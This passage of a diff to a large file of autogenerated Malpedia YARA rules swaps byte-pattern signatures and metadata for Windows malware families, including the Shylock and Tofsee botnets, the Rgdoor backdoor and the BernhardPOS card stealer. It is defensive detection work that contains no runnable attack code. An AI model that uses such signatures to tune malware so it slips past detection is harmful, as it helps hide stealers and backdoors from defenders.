-		$sequence_1 = { 8945ee 0fb705???????? 52 682e010000 50 895dd9 }
-		$sequence_2 = { 68???????? 50 ffd7 8d9dfcfbffff }
-		$sequence_3 = { 8d8dd1f9ffff 51 8895c4f9ffff ff15???????? }
-		$sequence_4 = { 8d95fcfdffff 6a00 52 e8???????? 8b35???????? 83c424 68???????? }
-		$sequence_5 = { 8945fc 837dfc00 7454 8b4dfc 0fb611 }
-		$sequence_6 = { 51 e8???????? 8b55f4 83c414 6a00 }
-		$sequence_7 = { 83c414 8d9df8fcffff e8???????? 8b45f8 85c0 7407 }
-		$sequence_8 = { 68???????? 68c3000000 8d85f8fcffff 68???????? 50 }
-		$sequence_9 = { 5f 5b 8be5 5d c3 68???????? 680b010000 }
-		$sequence_10 = { 837d0803 0f8ceb000000 53 8b1d???????? 57 68???????? }
-		$sequence_11 = { ffd3 68???????? 68???????? 8985c5f9ffff ffd7 }
-		$sequence_12 = { c745f800000000 ff15???????? 85c0 0f94c0 8845ff 84c0 742e }
-		$sequence_13 = { 85ff 0f8448030000 8d55f0 52 6800040000 }
-		$sequence_14 = { ff2485181d0010 68???????? 8d8df8feffff 51 eb2f 68???????? }
-		$sequence_15 = { 81ea???????? 83c204 f7d2 8955ed }
+		$sequence_0 = { 0fb702 83f85a 770b 83f841 7206 }
+		$sequence_1 = { 83f85a 770d 83f841 7208 83c020 }
+		$sequence_2 = { 83f841 7206 83c020 0fb7c0 83c202 }
+		$sequence_3 = { ffd0 c3 b88dbdc13f 50 e8???????? }
+		$sequence_4 = { ffe0 c3 c3 c3 68b9be7238 e8???????? 50 }
+		$sequence_5 = { 03c7 813850450000 0f853c010000 0fb74804 ba4c010000 }
+		$sequence_6 = { 03c3 813850450000 8945f8 7408 32c0 }
+		$sequence_7 = { 7523 8b8c18a0000000 85c9 0f8489000000 837c187405 }
+		$sequence_8 = { 56 ffd0 33c9 66894c37fe }
+		$sequence_9 = { 7428 8b0d???????? 8908 8b0d???????? 894804 }
+		$sequence_10 = { 89480c e9???????? 33c0 e9???????? }
+		$sequence_11 = { 894808 8b0d???????? 89480c e9???????? }
+		$sequence_12 = { 8bf0 85f6 741d 8d4601 50 e8???????? }
+		$sequence_13 = { 85c0 56 0f9fc3 e8???????? 83c414 }
+		$sequence_14 = { ff15???????? a3???????? 85c0 7505 83c8ff }
+		$sequence_15 = { 741b 8d440002 50 e8???????? }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <1335296
 }
-rule MALPEDIA_Win_Hotwax_Auto : FILE
+rule MALPEDIA_Win_Aurora_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "34df7b39-b5de-5d0e-aea3-1ec834745896"
+		id = "6739f143-45de-5c25-aa97-f9c0ab868c7e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotwax"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hotwax_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aurora_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "f7aa59232edd43ba4670389edd9f2f755cdf2f70e16334cd9db9000bdc1ab730"
+		logic_hash = "401b46f1e5d6c2d35e6c7ba88f463abdb92c79f1d47fd14fd19c66427ffd50ad"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149325,32 +156358,32 @@ rule MALPEDIA_Win_Hotwax_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7e74 817d0063736de0 7528 48833d????????00 741e 488d0d5dee0000 }
-		$sequence_1 = { 488bd7 ff15???????? 418d8770050000 4489bdcc040000 c745a400080000 8945a0 }
-		$sequence_2 = { 4889842410030000 488bf9 488d8c2401020000 33d2 41b803010000 c684240002000000 }
-		$sequence_3 = { 488bd9 4885c0 7479 488d0d7fe50000 483bc1 746d 488b8310010000 }
-		$sequence_4 = { 4533db 488d9424f0000000 41b803010000 44895c2440 4c895c2448 ff15???????? 833d????????00 }
-		$sequence_5 = { 486bd258 490394c1a04b0100 f6423880 742c }
-		$sequence_6 = { 488bcb 488905???????? ff15???????? 488d1547d20000 488bcb 488905???????? ff15???????? }
-		$sequence_7 = { cc 4c8d05f8530000 498bd4 488bcd e8???????? 85c0 }
-		$sequence_8 = { 488b0d???????? eb7c 4c8d256a830000 488b0d???????? eb6c e8???????? }
-		$sequence_9 = { 488d0d50bf0000 ba01000000 e8???????? 4c8d442440 }
+		$sequence_0 = { 8b4e14 8945d4 8b4610 3bc1 7530 40 83f8fe }
+		$sequence_1 = { c645fc03 8d4dd8 837dec08 8d5dd8 }
+		$sequence_2 = { 8aca c0e206 0255d3 c0e902 80e10f }
+		$sequence_3 = { ebd9 837b1410 7202 8b1b }
+		$sequence_4 = { 3bf3 7469 897de8 c645fc01 85ff 7437 c7471000000000 }
+		$sequence_5 = { 6a00 c741140f000000 c7411000000000 68???????? c60100 e8???????? 8d8df8fbffff }
+		$sequence_6 = { 83793800 0f45c2 50 e8???????? 8b9df0feffff c745e40f000000 c745e000000000 }
+		$sequence_7 = { c785c8f1ffff0f000000 c785c4f1ffff00000000 c685b4f1ffff00 e8???????? 8d8dccf1ffff }
+		$sequence_8 = { 68???????? 8d8d24f1ffff c78538f1ffff0f000000 c78534f1ffff00000000 }
+		$sequence_9 = { 6a02 68???????? 8d8d14efffff c78528efffff0f000000 }
 
 	condition:
-		7 of them and filesize <198656
+		7 of them and filesize <827392
 }
-rule MALPEDIA_Win_Tofsee_Auto : FILE
+rule MALPEDIA_Win_Httpsuploader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2d8fcb5e-0a8a-503a-9ded-9601f9237fa2"
+		id = "be17d448-1d90-5f75-8f13-d63b39944dc3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tofsee_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsuploader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.httpsuploader_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "def89a492b1a308a2f7b3c5c33eb9a3e8527d0ce6d7ff4abe57189bca63d387c"
+		logic_hash = "5be7e6e5938fcb4fa9787510fb0867a1f442345e4d8453db75c177a24413afa4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149364,32 +156397,32 @@ rule MALPEDIA_Win_Tofsee_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8584feffff 50 68b7000000 68a9000000 6a0c 68???????? 68???????? }
-		$sequence_1 = { f7f3 8b450c 8a0402 88043e 46 3b7508 7ce0 }
-		$sequence_2 = { f7fb 80c261 881431 49 47 85c9 }
-		$sequence_3 = { bf???????? 8b46fc 48 744d 48 743a }
-		$sequence_4 = { 5e 5b c9 c3 56 57 ff15???????? }
-		$sequence_5 = { 33c0 eb3a 8b4b3c 03cb 813950450000 75ef }
-		$sequence_6 = { 0f8ee8f7ffff 5b 8b4570 83c004 50 ff15???????? ff7564 }
-		$sequence_7 = { 8b4038 40 57 8bcb 8945fc e8???????? 8bc8 }
-		$sequence_8 = { 55 56 57 8bf1 ffd3 8b3d???????? 8be8 }
-		$sequence_9 = { c0e105 0ad9 32da 34c6 881e 46 3bf7 }
+		$sequence_0 = { 33ff 33d2 41b806020000 6689bc2470020000 e8???????? 488d4c2451 33d2 }
+		$sequence_1 = { 33d2 33c9 897c2428 48895c2420 ff15???????? eb3b 488d0dc3bd0000 }
+		$sequence_2 = { 4883ec20 488bfa 488bd9 488d0501700000 488981a0000000 83611000 }
+		$sequence_3 = { 4c8bc0 418bd4 e8???????? 488d8dd0000000 ff15???????? }
+		$sequence_4 = { 488d0d6c280000 4533c9 ba00000040 4489442420 ff15???????? }
+		$sequence_5 = { 4c8d25cf7d0000 f0ff09 7511 488b8eb8000000 493bcc }
+		$sequence_6 = { 488d0543b50000 eb04 4883c014 4883c428 c3 4053 }
+		$sequence_7 = { 488d158e380000 488bc8 ff15???????? 4885c0 0f847a010000 }
+		$sequence_8 = { 81fa01010000 7d13 4863ca 8a44191c 4288840170fa0000 }
+		$sequence_9 = { 745e 6666660f1f840000000000 488b0d???????? 488d542440 4533c9 4533c0 ff15???????? }
 
 	condition:
-		7 of them and filesize <147456
+		7 of them and filesize <190464
 }
-rule MALPEDIA_Win_Gemcutter_Auto : FILE
+rule MALPEDIA_Win_Shylock_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e94125d6-f7ee-5626-bb13-57f31cd4995b"
+		id = "c0c6612f-064a-5f55-82bb-f58e63a548a1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gemcutter_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shylock_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "cdd9767cb466abee0d56200d0aa911cbda817b83008ef2825b381668a5ec2a45"
+		logic_hash = "2cab0a97d5d39d5cf87c312cbde6ff184fa1776200cc626b918f5dce9951a83d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149403,32 +156436,32 @@ rule MALPEDIA_Win_Gemcutter_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff75fc ff15???????? eb09 ff75fc ff15???????? 3975fc }
-		$sequence_1 = { 8d8500fcffff 50 e8???????? 59 56 ff15???????? }
-		$sequence_2 = { 56 ffd7 53 56 56 56 }
-		$sequence_3 = { 59 53 50 ffd6 0fbe85f0f8ffff 50 }
-		$sequence_4 = { 6a01 ff15???????? 6a01 68???????? e8???????? 6a01 }
-		$sequence_5 = { 50 ff15???????? 83c420 8818 8d85f0fdffff 50 8d85f0f8ffff }
-		$sequence_6 = { 8d85f0fdffff 50 ffd7 8d85f0f8ffff 6800040000 50 }
-		$sequence_7 = { 8d45ac 56 50 e8???????? 83c40c 8d45f0 c745d801000000 }
-		$sequence_8 = { ff15???????? 85c0 0f84df000000 8d85f0f8ffff 68???????? 50 e8???????? }
-		$sequence_9 = { c3 55 8bec 81ec00040000 56 57 68???????? }
+		$sequence_0 = { e8???????? 8d8534ffffff 50 b8???????? e8???????? 59 50 }
+		$sequence_1 = { 8db544ffffff e8???????? 8bc6 50 8d45f8 e8???????? ff30 }
+		$sequence_2 = { c22c00 0fb64001 50 8d45c8 50 8b45d4 8b30 }
+		$sequence_3 = { c745fc04010000 ff75e4 e8???????? 83c410 ff45f8 3d03010000 0f8559ffffff }
+		$sequence_4 = { e8???????? 3c01 743b 8d8588feffff 50 b8???????? e8???????? }
+		$sequence_5 = { 57 8b7d08 8b4d0c 8a4510 fc f2ae 7504 }
+		$sequence_6 = { 8945b0 8d856cffffff 50 8b45fc ff7018 ff9540ffffff 898534ffffff }
+		$sequence_7 = { 8d75f8 8bfc e8???????? 8d8504ffffff 50 ff7508 e8???????? }
+		$sequence_8 = { 51 33d2 8d5df8 e8???????? 8d45ec e8???????? 8bf8 }
+		$sequence_9 = { e8???????? e8???????? 59 59 8bf0 e8???????? 8d75fc }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <630784
 }
-rule MALPEDIA_Win_Bohmini_Auto : FILE
+rule MALPEDIA_Win_Listrix_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c674d076-0d8a-5cd0-a61f-b74753074ae4"
+		id = "f00b612a-8ee6-5314-b10b-7290e9e1e604"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bohmini_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.listrix_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "924ffc111e8f5edb5600c44b643235932f72ba9b2a992fa2571ad4dc6b3c6eb8"
+		logic_hash = "2287c5f695d49f8318bd5f0c78a77cdf4d2c441f03bbfda75594fd76fd20827f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149442,32 +156475,32 @@ rule MALPEDIA_Win_Bohmini_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 896c2410 896c2414 0f86c5000000 8b7c2420 }
-		$sequence_1 = { 6a00 6a00 8bca 83c11a 51 6a00 6a00 }
-		$sequence_2 = { 8d542414 6a00 52 ff15???????? 85c0 }
-		$sequence_3 = { ff15???????? 3bc3 a3???????? 7512 5f 5e }
-		$sequence_4 = { 6800040000 50 53 ff15???????? 50 ff15???????? }
-		$sequence_5 = { 4a 741a 4a 7543 e8???????? 03c6 33d2 }
-		$sequence_6 = { 83c410 85c0 7507 6891130000 eb2a }
-		$sequence_7 = { 8b5608 52 ffd5 40 50 }
-		$sequence_8 = { 52 e8???????? 40 50 8d8424b8010000 50 }
-		$sequence_9 = { 8b2d???????? 8b3e 51 6a00 ffd5 50 ffd3 }
+		$sequence_0 = { 8d8dc0f5ffff 51 ffd3 85c0 7454 57 }
+		$sequence_1 = { 85f6 740d f68594f5ffff10 0f84ac010000 8b1d???????? 68???????? 8d85c0f5ffff }
+		$sequence_2 = { 8d46ff 50 8b8584f5ffff 51 52 50 8d8df4fbffff }
+		$sequence_3 = { 8d85f4f7ffff 50 ff15???????? 8b7518 }
+		$sequence_4 = { 89b588f5ffff 397510 0f8e4c020000 57 8d85f4f7ffff 50 }
+		$sequence_5 = { 50 8d4c2470 51 c744242430794000 }
+		$sequence_6 = { c1e802 89442408 c744240c02000000 85c0 0f8408010000 }
+		$sequence_7 = { 8bc7 c1f805 c1e606 033485e0ad4000 8b45f8 8b00 }
+		$sequence_8 = { a1???????? c705????????cc274000 8935???????? a3???????? ff15???????? a3???????? }
+		$sequence_9 = { 6a00 8d95e4f9ffff 52 ff15???????? 85c0 0f84bb000000 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Molerat_Loader_Auto : FILE
+rule MALPEDIA_Win_Rgdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6649c702-0322-5056-bfb1-5bb59b0b659a"
+		id = "4140ffd6-129c-5510-99e3-ad151c975d1e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.molerat_loader_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rgdoor_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "9e4d3c42bd1eb8db57dd9c545f5a5ad86009e39e60f601bd2428ef16d555d86e"
+		logic_hash = "bf6d408b52f68286adc8c589928141fb2586a77ca6ee142e58e02ec6b6fb2c0d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149481,32 +156514,32 @@ rule MALPEDIA_Win_Molerat_Loader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c40c 68???????? 50 8d8dc0fdffff 51 c645fc18 }
-		$sequence_1 = { 68???????? e8???????? 8b4d58 e8???????? e9???????? 68???????? e8???????? }
-		$sequence_2 = { 7d0d 8a4c181c 888860464400 40 ebe9 33c0 8945e4 }
-		$sequence_3 = { 83c40c 8d957cffffff 52 50 8d85d0fdffff 50 c645fc3a }
-		$sequence_4 = { 50 8b4204 ffd0 8d4d0c e8???????? 8d8da0fdffff c645fc07 }
-		$sequence_5 = { 7f0a 8b08 8b11 50 8b4204 ffd0 c645fc69 }
-		$sequence_6 = { 8b95ecfeffff 8995e8feffff c745fc01000000 b8???????? c3 c645fc00 }
-		$sequence_7 = { 8d4c247c c68424d800000002 e8???????? 8d54247c 52 c7842480000000e8c64300 e8???????? }
-		$sequence_8 = { 83c010 83c404 8945e8 68???????? 68???????? 8d4de4 51 }
-		$sequence_9 = { 8d8d74ffffff c645fc03 e8???????? 8d8574ffffff 50 8d4d5c 68???????? }
+		$sequence_0 = { 7512 448bfb 448be3 4c8d35d4870100 e9???????? bd01000000 ba98000000 }
+		$sequence_1 = { 488bce eb9d 33db 41b803010000 488bd6 e8???????? }
+		$sequence_2 = { 4533f6 eb0e 4983ceff 90 49ffc6 42381c32 75f7 }
+		$sequence_3 = { e8???????? b802000000 eb30 48837dd010 720a 488b4db8 }
+		$sequence_4 = { e8???????? 488d05554b0200 4889442458 488d15398d0200 488d4c2458 }
+		$sequence_5 = { e8???????? 83f8ff 0f8490050000 80bc247001000077 750a 8bde 448be6 }
+		$sequence_6 = { 8938 e8???????? 488d1d8b390200 4885c0 7404 }
+		$sequence_7 = { 4883ec20 488d3d8bf90100 48393d???????? 742b }
+		$sequence_8 = { 48837db010 480f435598 41b822000000 488d8de8000000 e8???????? 4885c0 488b85e0000000 }
+		$sequence_9 = { 488bce ff15???????? 8bf8 eb25 488b8c2490000000 e9???????? 48895c2420 }
 
 	condition:
-		7 of them and filesize <688128
+		7 of them and filesize <475136
 }
-rule MALPEDIA_Win_Polpo_Auto : FILE
+rule MALPEDIA_Win_Tofsee_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f09c9fa9-68a5-510c-9c07-2bf30033e8be"
+		id = "2d8fcb5e-0a8a-503a-9ded-9601f9237fa2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polpo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.polpo_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tofsee_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "d086587d6209a1b4d39f14c8bf11bcdd8bb5ac2527f8607c317abb5534459f55"
+		logic_hash = "def89a492b1a308a2f7b3c5c33eb9a3e8527d0ce6d7ff4abe57189bca63d387c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149520,34 +156553,34 @@ rule MALPEDIA_Win_Polpo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6800040000 8d8decfbffff 51 50 ffd7 6a00 }
-		$sequence_1 = { 50 8d85ecf7ffff 50 8d8decfbffff 51 ff15???????? 40 }
-		$sequence_2 = { 6a02 52 ff15???????? 8b03 50 ff15???????? }
-		$sequence_3 = { c1e606 03348540b30120 8b45f8 8b00 8906 }
-		$sequence_4 = { 57 33c0 6806020000 898d98f9ffff 50 8d8df6fdffff 51 }
-		$sequence_5 = { 8d854cffffff 8bd0 8d642400 8a08 40 3acb 75f9 }
-		$sequence_6 = { 52 50 ff15???????? 6a00 6800040000 8d8dfcfaffff 68???????? }
-		$sequence_7 = { 8a08 40 3acb 75f9 2bc6 8dbd4cf7ffff }
-		$sequence_8 = { 51 8985d0dfffff 8985d4dfffff 8885dcdfffff e8???????? }
-		$sequence_9 = { ffd6 85c0 8b859cfdffff 50 0f8516020000 ff15???????? 8d45a4 }
+		$sequence_0 = { 8d8584feffff 50 68b7000000 68a9000000 6a0c 68???????? 68???????? }
+		$sequence_1 = { f7f3 8b450c 8a0402 88043e 46 3b7508 7ce0 }
+		$sequence_2 = { f7fb 80c261 881431 49 47 85c9 }
+		$sequence_3 = { bf???????? 8b46fc 48 744d 48 743a }
+		$sequence_4 = { 5e 5b c9 c3 56 57 ff15???????? }
+		$sequence_5 = { 33c0 eb3a 8b4b3c 03cb 813950450000 75ef }
+		$sequence_6 = { 0f8ee8f7ffff 5b 8b4570 83c004 50 ff15???????? ff7564 }
+		$sequence_7 = { 8b4038 40 57 8bcb 8945fc e8???????? 8bc8 }
+		$sequence_8 = { 55 56 57 8bf1 ffd3 8b3d???????? 8be8 }
+		$sequence_9 = { c0e105 0ad9 32da 34c6 881e 46 3bf7 }
 
 	condition:
-		7 of them and filesize <250880
+		7 of them and filesize <147456
 }
-rule MALPEDIA_Win_Kutaki_Auto : FILE
+rule MALPEDIA_Win_Mosquito_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "09920faf-098e-5e77-9216-3a3bfa3a1490"
+		id = "d845e95b-9b1b-51f7-92b1-5c116f68e381"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kutaki_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mosquito_auto.yar#L1-L192"
 		license_url = "N/A"
-		logic_hash = "cdd66e692bdc9daff0e282b4897c4e9339c8de45be71e54a60a94829ea33b905"
+		logic_hash = "87ba9d2670a970e725fcb73c4f11150d5260680ad8d699153882d887044e12b1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -149559,32 +156592,43 @@ rule MALPEDIA_Win_Kutaki_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 6a01 6880000000 ff15???????? 83c41c c745fc0c000000 }
-		$sequence_1 = { 0f803a020000 8b450c 8910 e9???????? }
-		$sequence_2 = { ff15???????? 898528ffffff eb0a c78528ffffff00000000 8d4dc8 ff15???????? }
-		$sequence_3 = { ff15???????? 898568feffff eb0a c78568feffff00000000 8b459c 50 ff15???????? }
-		$sequence_4 = { c745fc3c000000 660fb64dd8 6683e10f 666bc910 0f80c9020000 660fb645c8 6699 }
-		$sequence_5 = { 8d4580 50 ff15???????? 8985d4feffff 6aff 8b8dd4feffff 8b11 }
-		$sequence_6 = { 8b45bc 50 8b4db8 51 ff15???????? 898540ffffff }
-		$sequence_7 = { c745fc08000000 6a74 8d855cffffff 50 ff15???????? 6a65 8d8d4cffffff }
-		$sequence_8 = { 50 68???????? ff15???????? 85c0 0f85bc000000 c745fc1a000000 }
-		$sequence_9 = { 52 ff15???????? 898550ffffff 8b4508 }
+		$sequence_0 = { f3a5 ff942464020000 81c450020000 85c0 }
+		$sequence_1 = { 52 50 6a00 6801c1fd7d }
+		$sequence_2 = { f7d8 1bc0 83e0b4 83c04c }
+		$sequence_3 = { 8b10 8bc8 57 6842730000 ff5204 56 }
+		$sequence_4 = { b994000000 8bfc f3a5 ff942464020000 }
+		$sequence_5 = { 8b10 8bc8 ff5204 56 }
+		$sequence_6 = { e8???????? 85c0 7517 8bcb e8???????? 8b7328 }
+		$sequence_7 = { e8???????? 6a20 e8???????? 83c40c }
+		$sequence_8 = { 8b00 33ff 57 6880000000 6a03 57 }
+		$sequence_9 = { e8???????? 6a20 8bf0 e8???????? 8bc8 }
+		$sequence_10 = { 8bfc f3a5 ff942460020000 81c450020000 }
+		$sequence_11 = { 6824080000 50 e8???????? 83c410 }
+		$sequence_12 = { 0000 006301 1000 7500 }
+		$sequence_13 = { 0000 0018 a0???????? 57 }
+		$sequence_14 = { 0000 0001 1001 c550f0 8b8078005900 }
+		$sequence_15 = { 0000 0032 08804d086440 5e }
+		$sequence_16 = { 0000 00645657 8b7dc2 0400 }
+		$sequence_17 = { 0000 006500 676c 0010 }
+		$sequence_18 = { ff15???????? 6a00 56 ff15???????? 8903 83f8ff }
+		$sequence_19 = { 0000 00748078 3001 40 }
+		$sequence_20 = { 6aff 5d c28bcf 7300 6a01 }
 
 	condition:
-		7 of them and filesize <1335296
+		7 of them and filesize <1015808
 }
-rule MALPEDIA_Win_Quarterrig_Auto : FILE
+rule MALPEDIA_Win_Bernhardpos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b690a4f4-b484-55ac-b058-10bc50927e69"
+		id = "7b2918eb-6e4b-588b-9817-19ede384242f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quarterrig"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.quarterrig_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bernhardpos_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "311b3b8ecf53c484bcc2dd986bb0e82467b08ff5a42c5d9fde578d475409e28c"
+		logic_hash = "b0e71b787dda9e2d7e79e7ddddae77406aa6aa8d138e23e43da621be02324cd1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149598,32 +156642,32 @@ rule MALPEDIA_Win_Quarterrig_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 32c0 e9???????? 8b15???????? 498bce ff15???????? 3d02010000 }
-		$sequence_1 = { 884597 33ff 897d9b 41f7411800400000 7528 410f1000 f30f7f45a7 }
-		$sequence_2 = { 4883c438 c3 488d0d53c10500 e8???????? 833d????????ff 75d2 c605????????01 }
-		$sequence_3 = { 65488b042558000000 ba04000000 488b0cc8 8b040a 3905???????? 7f19 488d0513cc0500 }
-		$sequence_4 = { 488b5590 4883fa10 720d 48ffc2 488b4c2478 e8???????? 4c896d88 }
-		$sequence_5 = { 488d0569fe0500 488b4c2448 4833cc e8???????? 0f28742460 0f287c2450 }
-		$sequence_6 = { eb3a e8???????? 4c8bc0 80780500 7429 33d2 }
-		$sequence_7 = { 4c89b690000000 4c89b698000000 0f108780000000 0f118680000000 0f108f90000000 0f118e90000000 4c89b790000000 }
-		$sequence_8 = { 4c8bcf 4533c0 488d5510 488d4c2478 e8???????? 83cb01 }
-		$sequence_9 = { 48895520 c744243402000000 41b840000000 458d78d0 418bd7 488d4d28 e8???????? }
+		$sequence_0 = { 0f840a010000 8d85ecfbffff 50 682a020000 68???????? 8b8df0fbffff }
+		$sequence_1 = { ff15???????? 8b8d54feffff 668901 6a10 8d855cfeffff 50 }
+		$sequence_2 = { 0fbe5415f8 33ca 8b4508 0345f4 8808 ebc7 5f }
+		$sequence_3 = { 8945fc 8b45fc 8b4d08 03483c 894df4 }
+		$sequence_4 = { 8808 ebc7 5f 5e 5b }
+		$sequence_5 = { 668b0d???????? 66894dfc 8a15???????? 8855fe 8d45f8 50 ff15???????? }
+		$sequence_6 = { 83e863 5f 5e 5b }
+		$sequence_7 = { 51 ff15???????? 8d85ecfeffff 50 e8???????? 83c404 85c0 }
+		$sequence_8 = { eb2c 33c0 eb2d 33c0 eb29 }
+		$sequence_9 = { e8???????? 83c404 6a01 8d85d0feffff 50 ff15???????? }
 
 	condition:
-		7 of them and filesize <971776
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Agendacrypt_Auto : FILE
+rule MALPEDIA_Win_Stegoloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "20fa12ae-39fc-589c-ac17-0baa3bbfd44a"
+		id = "e9d6ede2-9401-5de2-b06b-905a99f741c9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agendacrypt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.agendacrypt_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stegoloader_auto.yar#L1-L174"
 		license_url = "N/A"
